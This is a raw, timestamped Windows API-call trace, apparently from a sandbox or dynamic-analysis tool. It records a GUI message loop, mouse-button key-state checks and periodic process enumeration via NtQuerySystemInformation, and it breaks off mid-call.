0x0 [0252.616] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0252.616] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x2300f0) returned 0x0 [0252.616] GetKeyState (nVirtKey=1) returned 0 [0252.616] GetKeyState (nVirtKey=2) returned 0 [0252.616] GetKeyState (nVirtKey=4) returned 0 [0252.616] GetKeyState (nVirtKey=5) returned 0 [0252.616] GetKeyState (nVirtKey=6) returned 0 [0252.616] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.616] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.616] WaitMessage () returned 1 [0252.716] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.716] IsWindowUnicode (hWnd=0x10172) returned 1 [0252.716] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.716] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.716] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.716] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.716] IsWindowUnicode (hWnd=0x10172) returned 1 [0252.717] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.717] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.717] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.717] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x2300f0) returned 0x0 [0252.717] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.717] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.717] WaitMessage () returned 1 [0252.966] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.966] IsWindowUnicode (hWnd=0x10166) returned 1 [0252.966] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0252.966] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0252.966] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0252.966] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.966] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0252.966] WaitMessage () returned 1 [0253.500] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0253.500] IsWindowUnicode (hWnd=0x10166) returned 1 [0253.500] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0253.500] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0253.500] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0253.501] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0253.501] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0253.501] WaitMessage () returned 1 [0253.628] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0253.628] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0253.628] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0253.628] IsWindowUnicode (hWnd=0x10172) returned 1 [0253.628] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0253.628] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0253.628] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0253.628] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0253.628] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0253.628] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0253.628] WaitMessage () returned 1 [0254.026] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.027] IsWindowUnicode (hWnd=0x10166) returned 1 [0254.027] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.027] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0254.027] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0254.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.027] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.027] WaitMessage () returned 1 [0254.089] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.089] IsWindowUnicode (hWnd=0x1015c) returned 1 [0254.089] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.089] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0254.089] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0254.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71e0) returned 0x0 [0254.099] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.099] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.099] WaitMessage () returned 1 [0254.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.561] IsWindowUnicode (hWnd=0x10166) returned 1 [0254.561] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0254.561] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0254.561] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0254.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.561] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0254.561] WaitMessage () returned 1 [0255.087] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0255.087] IsWindowUnicode (hWnd=0x10166) returned 1 [0255.087] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0255.087] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0255.088] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0255.088] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0255.088] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0255.088] WaitMessage () returned 1 [0255.618] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0255.618] IsWindowUnicode (hWnd=0x10166) returned 1 [0255.618] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0255.618] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0255.618] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0255.618] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0255.618] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0255.618] WaitMessage () returned 1 [0256.101] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.101] IsWindowUnicode (hWnd=0x1015c) returned 1 [0256.101] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.102] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0256.102] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0256.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71e0) returned 0x0 [0256.123] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.123] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.123] WaitMessage () returned 1 [0256.148] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.148] IsWindowUnicode (hWnd=0x10166) returned 1 [0256.148] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.148] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0256.148] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0256.148] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.148] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.148] WaitMessage () returned 1 [0256.679] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.679] IsWindowUnicode (hWnd=0x10166) returned 1 [0256.679] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0256.679] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0256.679] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0256.679] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.679] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0256.679] WaitMessage () returned 1 [0257.209] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.209] IsWindowUnicode (hWnd=0x10166) returned 1 [0257.209] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.209] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0257.209] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0257.210] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.210] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.210] WaitMessage () returned 1 [0257.668] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.668] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x19f036f) returned 0x1 [0257.669] IsWindowUnicode (hWnd=0x1015e) returned 1 [0257.669] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.669] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x19f036f) returned 0x1 [0257.669] SetCursor (hCursor=0x10003) returned 0x10003 [0257.669] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0257.669] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0257.669] _TrackMouseEvent (in: lpEventTrack=0x2aa14c0 | out: lpEventTrack=0x2aa14c0) returned 1 [0257.669] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0257.669] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0257.669] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0xc80189) returned 0x0 [0257.669] GetKeyState (nVirtKey=1) returned 0 [0257.669] GetKeyState (nVirtKey=2) returned 0 [0257.669] GetKeyState (nVirtKey=4) returned 0 [0257.669] GetKeyState (nVirtKey=5) returned 0 [0257.670] GetKeyState (nVirtKey=6) returned 0 [0257.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.670] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.670] WaitMessage () returned 1 [0257.755] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.755] IsWindowUnicode (hWnd=0x10166) returned 1 [0257.755] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.755] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0257.755] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0257.755] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.756] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.756] WaitMessage () returned 1 [0257.771] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.771] IsWindowUnicode (hWnd=0x1015e) returned 1 [0257.771] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.771] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0257.771] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0257.771] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.771] IsWindowUnicode (hWnd=0x1015e) returned 1 [0257.771] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0257.771] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0257.772] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0257.772] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0xc80189) returned 0x0 [0257.772] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.772] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0257.772] WaitMessage () returned 1 [0258.118] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.118] IsWindowUnicode (hWnd=0x1015c) returned 1 [0258.118] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.118] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0258.118] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0258.118] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71e0) returned 0x0 [0258.127] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.127] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.127] WaitMessage () returned 1 [0258.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.286] IsWindowUnicode (hWnd=0x10166) returned 1 [0258.286] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.286] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0258.286] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0258.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.286] WaitMessage () returned 1 [0258.681] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.682] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.682] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.682] IsWindowUnicode (hWnd=0x1015e) returned 1 [0258.682] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.682] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0258.682] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0258.682] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0258.682] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.682] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.682] WaitMessage () returned 1 [0258.816] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.816] IsWindowUnicode (hWnd=0x10166) returned 1 [0258.816] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0258.816] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0258.816] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0258.816] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.816] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0258.816] WaitMessage () returned 1 [0259.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0259.356] IsWindowUnicode (hWnd=0x10166) returned 1 [0259.356] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0259.356] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0259.356] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0259.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0259.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0259.356] WaitMessage () returned 1 [0259.877] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0259.877] IsWindowUnicode (hWnd=0x10166) returned 1 [0259.877] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0259.877] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0259.877] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0259.877] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0259.877] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0259.877] WaitMessage () returned 1 [0260.126] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.126] IsWindowUnicode (hWnd=0x1015c) returned 1 [0260.126] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0260.126] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0260.126] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0260.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x71a0) returned 0x0 [0260.128] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.128] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0260.128] WaitMessage () returned 1 [0260.407] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 